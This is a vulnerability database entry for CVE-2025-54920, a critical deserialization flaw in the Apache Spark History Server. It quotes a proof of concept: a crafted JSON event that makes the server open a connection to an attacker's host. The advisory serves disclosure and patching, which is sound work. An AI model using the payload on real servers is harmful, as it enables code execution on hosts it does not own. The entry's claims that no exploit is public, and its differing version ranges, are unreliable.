Apache Spark up to 3.5.6/4.0.0 deserialization

Summaryinfo

A vulnerability was found in Apache Spark up to 3.5.6/4.0.0. It has been classified as critical. This issue affects some unknown processing. Performing a manipulation results in Remote Privilege Escalation. This vulnerability is cataloged as CVE-2025-54920. It is possible to initiate the attack remotely. There is no exploit available. Upgrading the affected component is recommended.

Detailsinfo

A vulnerability was found in Apache Spark up to 3.5.6/4.0.0. It has been classified as critical. This affects an unknown code block. The manipulation with an unknown input leads to a remote privilege escalation vulnerability. CWE is classifying the issue as CWE-502. The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

The advisory is shared at lists.apache.org. This vulnerability is uniquely identified as CVE-2025-54920. The exploitability is told to be easy. It is possible to initiate the attack remotely. Neither technical details nor an exploit are publicly available. The price for an exploit might be around USD $0-$5k at the moment (estimation calculated on 03/20/2026).

Upgrading to version 3.5.7 or 4.0.1 eliminates this vulnerability.

The vulnerability is also documented in the vulnerability database at EUVD (EUVD-2025-208669). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Vendor

• Apache

Name

• Spark

Version

• 3.5.0
• 3.5.1
• 3.5.2
• 3.5.3
• 3.5.4
• 3.5.5
• 3.5.6
• 4.0

License

• open-source

Website

• Vendor: https://www.apache.org/

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If you want to get the best quality for vulnerability data then you always have to consider VulDB.

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